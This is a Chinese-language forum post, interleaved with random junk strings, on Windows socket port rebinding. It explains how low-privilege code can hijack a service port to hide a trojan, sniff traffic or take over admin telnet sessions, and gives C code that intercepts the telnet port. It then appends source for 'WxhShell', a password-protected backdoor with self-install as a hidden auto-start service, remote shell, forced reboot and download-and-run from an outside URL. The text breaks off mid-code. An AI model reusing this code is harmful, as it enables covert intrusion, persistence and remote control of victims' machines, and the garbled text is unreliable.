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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zFqlTUD`t  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M_wj>NXZ  
#DI%l`B  
  saddr.sin_family = AF_INET; U- UD27  
S_VZ^1X]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); l$~3_3+  
eiV[y^?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); eI7FbOze  
Hq*\,`b&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 uwcm%N;I"  
Gb\Nqx(  
  这意味着什么?意味着可以进行如下的攻击: Is $I;`  
^T#bla893  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $-}a<UFE;  
.m]"lH*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %&RF;qa2xu  
<B?@,S>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -<[MM2Y  
a$*)d($  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  oXef<- :  
Qt@_C*,P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +y$%S4>0tp  
.I"Qu:``  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +EZ Lic  
.m&JRzzV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *t JgQ[  
vjcG F'-  
  #include Pde|$!Jo  
  #include S~9K'\vO  
  #include 3:Mq4 0]x  
  #include    w@&4dau  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _bi]Bpxf  
  int main() Ca&5"aki  
  { 0Y_?r$M  
  WORD wVersionRequested;  {hzU  
  DWORD ret; (|<e4HfZL  
  WSADATA wsaData; 0@K?'6  
  BOOL val; UbD1h_b  
  SOCKADDR_IN saddr; rff=ud>Jf  
  SOCKADDR_IN scaddr; >VQP,J{  
  int err; Kyz!YB  
  SOCKET s; #E?TE  
  SOCKET sc; yM *-e m  
  int caddsize; vU:FDkx*nn  
  HANDLE mt; H\Y5Fd9)  
  DWORD tid;   ?*36&Iq}  
  wVersionRequested = MAKEWORD( 2, 2 ); WU wH W  
  err = WSAStartup( wVersionRequested, &wsaData ); []'gIF  
  if ( err != 0 ) { "0Wi-52=V  
  printf("error!WSAStartup failed!\n"); )"W(0M] >  
  return -1; Z r}5)ZR.  
  } qgT~yDm  
  saddr.sin_family = AF_INET; CEwMPPYnD  
   FUVoKX! #  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |a3v!va  
 `UC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -|ho 8alF  
  saddr.sin_port = htons(23); cmLGMlFT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tl 0_Sd  
  { WF)(Q~op0U  
  printf("error!socket failed!\n"); G E=J Y  
  return -1;  I~'%  
  } $2p=vi 3  
  val = TRUE; otA59 ;Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -YXNB[C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }e7os0;s  
  { o$*aAgS+  
  printf("error!setsockopt failed!\n"); gRnn}LL^  
  return -1; ,g.*Mx`-  
  } 'pCZx9 *c  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k$u\\`i]oC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {:D8@jb[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |[)k5nUQ|  
7# ~v<M6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0rt@4"~~w  
  { 7$;#-l  
  ret=GetLastError(); y$ L@!r/s  
  printf("error!bind failed!\n"); k<.$7Pl3U  
  return -1; S}O>@ %  
  } tx,_0[hZi  
  listen(s,2); 9j0Hvo%T  
  while(1) Zj+S "`P  
  { eP d  
  caddsize = sizeof(scaddr); ;Av=/hU  
  //接受连接请求 E,~|-\b}h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `-R-O@X|  
  if(sc!=INVALID_SOCKET) :%6OFO$z  
  { eb6Ux  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -6Y@_N  
  if(mt==NULL) m\4V;F  
  {  ;Y6XX_  
  printf("Thread Creat Failed!\n"); nx   
  break; GI+x,p  
  } <EhOIN7@*D  
  } v r=va5  
  CloseHandle(mt); ans(^Up$  
  } 04K[U9W3  
  closesocket(s); _d|CO  
  WSACleanup(); B0h|Y.S8%1  
  return 0; .3X5~OH  
  }   CIxa" MW  
  DWORD WINAPI ClientThread(LPVOID lpParam) [@VM'@e7  
  { _Sq*m=  
  SOCKET ss = (SOCKET)lpParam; #x?Ku\ts  
  SOCKET sc; mY1I{ '.  
  unsigned char buf[4096]; x7<2K(  
  SOCKADDR_IN saddr; .wU0F  
  long num; .tdaj6x  
  DWORD val; HT`k-}ho,  
  DWORD ret; N)I9NM[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2)~`.CD?L  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   M_I.Y1|  
  saddr.sin_family = AF_INET; *1H8 &  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ulf'gD4e  
  saddr.sin_port = htons(23); Dias!$g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lm;Dy*|<  
  { {Jna' eS  
  printf("error!socket failed!\n"); ~+A(zlYr~  
  return -1; -wh?9 ?W  
  } h SeXxSb:  
  val = 100; ?*zDsQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l&/V4V-  
  { GM~Ek] 9C%  
  ret = GetLastError(); xU1_L*tu '  
  return -1; |rgp(;iO  
  } 3s]aXz:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |p .o^  
  { tx*L8'jlN  
  ret = GetLastError(); mn].8 F  
  return -1; -wsoJh  
  } +]3kcm7B  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *;&[q{hz  
  { i_c'E;|  
  printf("error!socket connect failed!\n"); Hk1[0)  
  closesocket(sc); O"M2*qiH  
  closesocket(ss); S-f .NC}:i  
  return -1; Ybkydc  
  } *8bj3A]vf  
  while(1) ;p(I0X  
  { r4isn^g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g@O H,h/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E0*KKo%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 q4EOI  
  num = recv(ss,buf,4096,0); :`>$B?x+  
  if(num>0) Mp?Gi7o=  
  send(sc,buf,num,0); :MP*Xy\7&J  
  else if(num==0) H|IG"JB  
  break; b9xvLR8  
  num = recv(sc,buf,4096,0); Ob&m&2s,  
  if(num>0) \ xJ_ )r  
  send(ss,buf,num,0); )n&6= Li  
  else if(num==0) M!/!*,~  
  break; 2dyS_2u  
  } 5|jsv)M+  
  closesocket(ss); -U{CWn3G  
  closesocket(sc); = yFOH~_  
  return 0 ; }`$s"Iv@  
  } _f1;Hhoa  
q$;j1X^  
sXi~cfFaE  
========================================================== z:ZXdB)L)  
:O'QL,  
下边附上一个代码,,WXhSHELL U2Tw_  
.OpG2P  
========================================================== .6LlkM6[g  
_-T^YeQ/  
#include "stdafx.h" ]$,3vYBf  
oF~+L3&X  
#include <stdio.h>  Zsn@O2  
#include <string.h> |ms.  
#include <windows.h> lhC^Upqw  
#include <winsock2.h> 6lPuYEmT  
#include <winsvc.h> Pav W@  
#include <urlmon.h> vdcPpj^d5  
B k*Rz4Oa  
#pragma comment (lib, "Ws2_32.lib") VaW^;d#  
#pragma comment (lib, "urlmon.lib") -@tj0OHg  
Sy/Z}H  
#define MAX_USER   100 // 最大客户端连接数 Bp_8PjQ  
#define BUF_SOCK   200 // sock buffer rEMe=>^   
#define KEY_BUFF   255 // 输入 buffer &P,uK+C4  
' Tk4P{  
#define REBOOT     0   // 重启 /^L <q  
#define SHUTDOWN   1   // 关机 =)s~t|@v  
jqj4(J@%yr  
#define DEF_PORT   5000 // 监听端口 ;X N Ahg7  
rb*0YCi  
#define REG_LEN     16   // 注册表键长度 @6 a'p  
#define SVC_LEN     80   // NT服务名长度 :}R,a=N  
y=aWSb2y'  
// 从dll定义API )<f4F!?,A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gN2oUbf8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @uz(h'~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X`(fJ',  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); va:<W H  
c*y*UG  
// wxhshell配置信息 O#k eoC4  
struct WSCFG { 73_=CP" t  
  int ws_port;         // 监听端口 .EReYZO  
  char ws_passstr[REG_LEN]; // 口令 GkIhPn(d  
  int ws_autoins;       // 安装标记, 1=yes 0=no o`Af6C;Q  
  char ws_regname[REG_LEN]; // 注册表键名 Qo!F?i/ n  
  char ws_svcname[REG_LEN]; // 服务名 :-WNw n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2q(gWhcj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }4T`)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W ' ~s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D59q/@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1G6 \}El95  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C+t0Zen  
D~bx'Wr+  
}; ts% n tnvI  
&Dt=[yqeG  
// default Wxhshell configuration m] yUcj{F  
struct WSCFG wscfg={DEF_PORT, U)M&AYb  
    "xuhuanlingzhe", %JH/|mA&|  
    1, BNF*1JO  
    "Wxhshell", | TG6-e_  
    "Wxhshell", F!phTu  
            "WxhShell Service", VC0Tqk  
    "Wrsky Windows CmdShell Service",  "UreV  
    "Please Input Your Password: ", Ke:WlDf  
  1, KLW>O_+   
  "http://www.wrsky.com/wxhshell.exe", kBLFK3i  
  "Wxhshell.exe" 6"o=`Sq  
    }; c&P/v#U_  
Qv`: E   
// 消息定义模块 S?6 -I,]h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s)fahc(@E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Hj(K*z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c|(J%@B)  
char *msg_ws_ext="\n\rExit."; Caz5q|Oo  
char *msg_ws_end="\n\rQuit."; Lq$ig8V:O7  
char *msg_ws_boot="\n\rReboot..."; yMu G? x+  
char *msg_ws_poff="\n\rShutdown..."; eEfGH  
char *msg_ws_down="\n\rSave to "; tSux5 yV  
]l C2YD}  
char *msg_ws_err="\n\rErr!"; V']Z_$_  
char *msg_ws_ok="\n\rOK!"; xY/F)JOeG  
:iLRCK3 C  
char ExeFile[MAX_PATH]; *];QPi~  
int nUser = 0; ,(Ol]W}  
HANDLE handles[MAX_USER]; pg!MtuC}  
int OsIsNt; |x.^rx`  
AE+BrN +"2  
SERVICE_STATUS       serviceStatus; ul~6zBKO   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =|``d-  
d=meh4Y  
// 函数声明 %[5GGd5w  
int Install(void); ke!  
int Uninstall(void); S~ Z<-@S  
int DownloadFile(char *sURL, SOCKET wsh); ';Q8x?BS  
int Boot(int flag); !h4A7KBYG  
void HideProc(void); ,Jh#$mil  
int GetOsVer(void); 9l "=]7~%  
int Wxhshell(SOCKET wsl); JV@G9PT  
void TalkWithClient(void *cs); 3!\h'5{  
int CmdShell(SOCKET sock); |OAM;@jH  
int StartFromService(void); qjhk#\y  
int StartWxhshell(LPSTR lpCmdLine); Woj5 yr  
& !ds#-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i NfAn&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b9#(I~}  
kW2DKr-[  
// 数据结构和表定义 RD"-(T  
SERVICE_TABLE_ENTRY DispatchTable[] = }:{9!RMO  
{ j{r@>g;3  
{wscfg.ws_svcname, NTServiceMain}, ?>U=bA  
{NULL, NULL} +p63J  
}; (&Jo. <  
(CRx'R  
// 自我安装 Bm,Vu 1]t  
int Install(void) $OdBuJA  
{ 'tw ]jMD  
  char svExeFile[MAX_PATH]; wggB^ }~  
  HKEY key; 6pSTw\/6  
  strcpy(svExeFile,ExeFile); 49M1^nMvoo  
MJqWc6{ n  
// 如果是win9x系统,修改注册表设为自启动 2C}Yvfm4  
if(!OsIsNt) { 3~bB2APk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WA,D=)GP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gSw4\R  
  RegCloseKey(key); GC7WRA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qzJ<9H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w&p(/y  
  RegCloseKey(key); 7 s{vou  
  return 0; `_1~[t  
    } CEI"p2  
  } $A9Pi"/*z  
} O=V_ 7I5  
else { RqGX(Iuv  
x55W"q7  
// 如果是NT以上系统,安装为系统服务 ?RS:I%bL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); te2vv]W1  
if (schSCManager!=0) ^Z#G_%\Y:  
{ +|d]\WlJ  
  SC_HANDLE schService = CreateService YPI,u7-  
  ( qe#5;#  
  schSCManager, )dX(0E4Td/  
  wscfg.ws_svcname, #+l`tj4b/  
  wscfg.ws_svcdisp, Sx QA*}N  
  SERVICE_ALL_ACCESS, VqV[ @[P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hXth\e\[{`  
  SERVICE_AUTO_START, jzJTV4&zjs  
  SERVICE_ERROR_NORMAL, 0&|0l>wy.  
  svExeFile,  |@'O3KA  
  NULL, /P@%{y  
  NULL, cZ?$_;=  
  NULL, ~`QoBZ.O&  
  NULL, <fG\J  
  NULL S}VS@KDO  
  ); V=*^C+6s  
  if (schService!=0) P'OvwA  
  { :K]7(y7>  
  CloseServiceHandle(schService); FMeBsI9pL  
  CloseServiceHandle(schSCManager); |xcI~ X7Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); El5} f4sl  
  strcat(svExeFile,wscfg.ws_svcname); K2yNI q_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ceE]^X;p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c?HUW  
  RegCloseKey(key); ^@AyC"K  
  return 0; ^_|kEvk0  
    } y`buY+5l  
  } ]/1\.<uJId  
  CloseServiceHandle(schSCManager); vuPNru" 2  
} W6i{ yne W  
} CUI+@|]%  
NT*r7_e  
return 1; =oSd M2  
} Kus=.(  
$\h-F8|JMX  
// 自我卸载 x+Xd7N1  
int Uninstall(void) aqI"4v]~b  
{ 0?>(H(D^/  
  HKEY key; zq{UkoME  
I_v}}h{  
if(!OsIsNt) { /9G72AD!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lcpe*C x-  
  RegDeleteValue(key,wscfg.ws_regname); 9%T"W  
  RegCloseKey(key); U[f00m5{HV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?$109wZ:9  
  RegDeleteValue(key,wscfg.ws_regname); N5=BjXS Ag  
  RegCloseKey(key); j0mN4Ny  
  return 0; i)|jLrW~e  
  } R*D<M3  
} }l7+W4~  
} rl%,9JD!  
else { PmE)FthdP(  
@!f4>iUy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NgGMsE\C}  
if (schSCManager!=0) q%d G>!  
{   < v]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p 4> ThpX  
  if (schService!=0) 70c]|5  
  { lJu^Bcrv  
  if(DeleteService(schService)!=0) { P{n#^4  
  CloseServiceHandle(schService); ,sAAV%" >  
  CloseServiceHandle(schSCManager); @Uez2?  
  return 0; nFEJO&1+  
  } Z*co\ pW  
  CloseServiceHandle(schService); 11yXI[  
  } ,O5X80'.g  
  CloseServiceHandle(schSCManager); yKV{V?h?  
}  '/.Dxib  
} V+ ("kz*  
!g]5y=  
return 1; TR0y4u[  
} 8J(j}</>a  
>5~#BrpwG  
// 从指定url下载文件 NVv <vu  
int DownloadFile(char *sURL, SOCKET wsh) YK3>M"58  
{ C!5A,|DX  
  HRESULT hr; 8~o']B;lJ  
char seps[]= "/"; 7a'yO+7-)  
char *token; C.92FiC  
char *file; M@A3+ v%K  
char myURL[MAX_PATH]; aDNB~CwZZ  
char myFILE[MAX_PATH]; ls 5iE  
uPz+*4+  
strcpy(myURL,sURL); ;9T}h2^`B  
  token=strtok(myURL,seps); %f1%9YH  
  while(token!=NULL)  h$l/wn  
  { }%jF!d  
    file=token; R#d~a;j  
  token=strtok(NULL,seps); Zok{ndO@|f  
  } /YvXyi>^"%  
Z ;.-UXat  
GetCurrentDirectory(MAX_PATH,myFILE); ]5Uuz?:e  
strcat(myFILE, "\\"); _AX 9 Mu]  
strcat(myFILE, file); K?^;|m-  
  send(wsh,myFILE,strlen(myFILE),0); 2nB99L{6  
send(wsh,"...",3,0); 1(?4*v@B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .zO2g8(VR  
  if(hr==S_OK) c1'@_Is  
return 0; (gBKC]zvz3  
else 8 c8`"i  
return 1; N6y9'LGG`  
|RiJ>/ MK\  
} ii)# (b:V  
K|7"YNohfG  
// 系统电源模块 15g! Q *v  
int Boot(int flag) uDDa >Ka#+  
{ te+}j7SU  
  HANDLE hToken; V,&%[H [  
  TOKEN_PRIVILEGES tkp; "<ZV'z  
Y P2VSK2Q  
  if(OsIsNt) { C Bkoky 9&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c|Ivet>3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nj[TTnd Jt  
    tkp.PrivilegeCount = 1; `>:5[Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;}46Uc#WS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +94)BxrY  
if(flag==REBOOT) { &bsq;)wzs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +lym8n~-O  
  return 0; +vh|m5"7I7  
} XNYA\%:5S  
else { ;>J!$B?,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T+0=Ou"N  
  return 0; ob.<j  
} Bs~~C8+  
  } n1f8jS+'}  
  else { ]" 'yf;g  
if(flag==REBOOT) { @Po5AK3cy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  q#K{~:  
  return 0; -N45ni87  
} w+br)  
else { gmL~n7m:K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hw DxGiU  
  return 0; fq7#rZCxX  
} "Oxr}^% i  
} hLO)-ueb  
,MY7h 8V/  
return 1; %6m/ve  
} uwNJM  
,-c,3/tyA  
// win9x进程隐藏模块 @?,x3\N-  
void HideProc(void) 8 1,N92T5  
{ ZoG@"vr2  
9c>i>Vja!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oB:7R^a  
  if ( hKernel != NULL ) VdHT3r  
  { iGW|j>N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U%q)T61  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KYFKH+d>m  
    FreeLibrary(hKernel); 0@ `]m  
  } k%.v`H!  
\]ib%,:YU  
return; 2.q Zs8&  
} |a(KVo  
LE\*33k_  
// 获取操作系统版本 (Z),gxt  
int GetOsVer(void) /UCBoQ$/]  
{ n ay\)  
  OSVERSIONINFO winfo; HsCL%$k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); voa)V 1A/]  
  GetVersionEx(&winfo); O=0p}{3l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5GsmBf$RUb  
  return 1; W{6QvQD8  
  else z74JyY  
  return 0; PUdv1__C  
} BIx*t9wA  
t>bzo6cj  
// 客户端句柄模块 N1t4o~  
int Wxhshell(SOCKET wsl) )&c2+Y@  
{ c2E /-n4K@  
  SOCKET wsh; A2'i~_e  
  struct sockaddr_in client; -KiPqE%&G  
  DWORD myID; i fsh(^N  
LRJX>+@  
  while(nUser<MAX_USER) +:KZEFY?<  
{ i).%GMv*r  
  int nSize=sizeof(client); V+gZjuN$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {]CZgqE{  
  if(wsh==INVALID_SOCKET) return 1; LO`0^r  
46?z*~*G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W{,fpm  
if(handles[nUser]==0) Hv/C40uM-  
  closesocket(wsh); eR!# 1ar  
else JYdb^j2c  
  nUser++; i$Y#7^l%k  
  } E?w#$HS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dwA"QVp{  
,ri&zbB  
  return 0; RD`|Z~:q:K  
} )vtbA=RH?  
i~!g9o(  
// 关闭 socket yFE0a"0y  
void CloseIt(SOCKET wsh) N8 sT?  
{ 1 iH@vd  
closesocket(wsh); ']}-;m\  
nUser--; Tu vs}  
ExitThread(0); *DJsY/9d}'  
} WIWo4[(  
_H| )g*]t  
// 客户端请求句柄 ` m 5\  
void TalkWithClient(void *cs) Es=G' au  
{ [@K'}\U^+  
 hb[ThQ  
  SOCKET wsh=(SOCKET)cs; ?$pNduE  
  char pwd[SVC_LEN]; @nH3nn  
  char cmd[KEY_BUFF]; w-).HPe  
char chr[1]; jFQy[k-B  
int i,j; !'$*Z(  
)<x9t@$  
  while (nUser < MAX_USER) { M"z=114  
>N^<Q4%2  
if(wscfg.ws_passstr) { cW3'057  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wSR|uh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 49 FP&NgK  
  //ZeroMemory(pwd,KEY_BUFF); XDK Me}  
      i=0; { 4+/0\  
  while(i<SVC_LEN) { :!i=g+e]  
cS.@02~f"  
  // 设置超时 5<Kt"5Z%7  
  fd_set FdRead; B)q}]Qn  
  struct timeval TimeOut; a^_K@  
  FD_ZERO(&FdRead); iwnGWGcuS  
  FD_SET(wsh,&FdRead); I Fw7?G,  
  TimeOut.tv_sec=8; C|y^{4 |R  
  TimeOut.tv_usec=0; 7w73,r/D8A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e1[ReZW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -Mo4`bN  
c&;" Y{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dv. 77q  
  pwd=chr[0]; TOiLv.Dor  
  if(chr[0]==0xd || chr[0]==0xa) { qO@vXuul,  
  pwd=0; [n9l[dN  
  break; fw%p_Cm  
  } C:1(<1K  
  i++; a`Bp^(f}  
    } AO<T6 VK  
dV$[O`F* b  
  // 如果是非法用户,关闭 socket a"s2N%{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B7Ket8<J  
} 5bb#{?2i  
oyVT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jTwSyW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bB@=J~l4  
P$'PB*5d|  
while(1) { TTG=7x:3  
Bo:epus}\  
  ZeroMemory(cmd,KEY_BUFF); -w+.'  
J>X@g;  
      // 自动支持客户端 telnet标准   0LW3VfvToN  
  j=0; t__f=QB/  
  while(j<KEY_BUFF) { 8j Cho  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9DBX.|  
  cmd[j]=chr[0];  W2` 3 p  
  if(chr[0]==0xa || chr[0]==0xd) { B1X&O d  
  cmd[j]=0; %)i&|AV"  
  break; m03dL^(   
  } Vg62HZ |  
  j++; zd_N' :6  
    } Ry[7PLn]  
p;4FZ$  
  // 下载文件 |X{j^JP 5  
  if(strstr(cmd,"http://")) { C.4(8~Y=~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6$#,$aO  
  if(DownloadFile(cmd,wsh)) |kmP#`P~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jk{SlH3'  
  else Gd!_9S`68  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); km>ZhsqD  
  } H@- GYX"4  
  else { QXj#Brp  
~{DJ,(N"n  
    switch(cmd[0]) { {"jtR<{)  
  @o[ZJ4>*  
  // 帮助  XY)X-K$  
  case '?': { Xg.Lo2s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [fCnq  
    break; pI f6RwH}%  
  } Xf ^_y(?  
  // 安装 t tr`  
  case 'i': { !ak760*A  
    if(Install()) ;(mNjxA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *v#V%_o  
    else (KO]>!t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -75mgOj.#  
    break; <Hv/1:k}  
    } b\^DQZmth  
  // 卸载 RH,x);J|  
  case 'r': { -[!t=qi  
    if(Uninstall()) CeU=A9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  9qa/f[G  
    else &y0GdzfQd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^vm6JWwN0B  
    break; ['>ZC3?"h  
    } !0p K8k&MG  
  // 显示 wxhshell 所在路径 BZLIi O  
  case 'p': { .{eMN[ n@  
    char svExeFile[MAX_PATH]; V+D<626o  
    strcpy(svExeFile,"\n\r"); q4X( _t  
      strcat(svExeFile,ExeFile); Z|KDi `S  
        send(wsh,svExeFile,strlen(svExeFile),0); Lapeh>1T  
    break; -[N9"Z,  
    } U8aVI  
  // 重启 RKzO$T  
  case 'b': { ZxO o&YR3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {zd[8TJ~xa  
    if(Boot(REBOOT)) +DQUL|\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d&G]k!|\  
    else { }e|cszNRd  
    closesocket(wsh); Z=$-S(>J  
    ExitThread(0); &g}P)x r  
    } {Zw;<1{E  
    break; Xz:ha >}C  
    } ;\|GU@K{hC  
  // 关机 NxA4*_|H9  
  case 'd': { M8:i]   
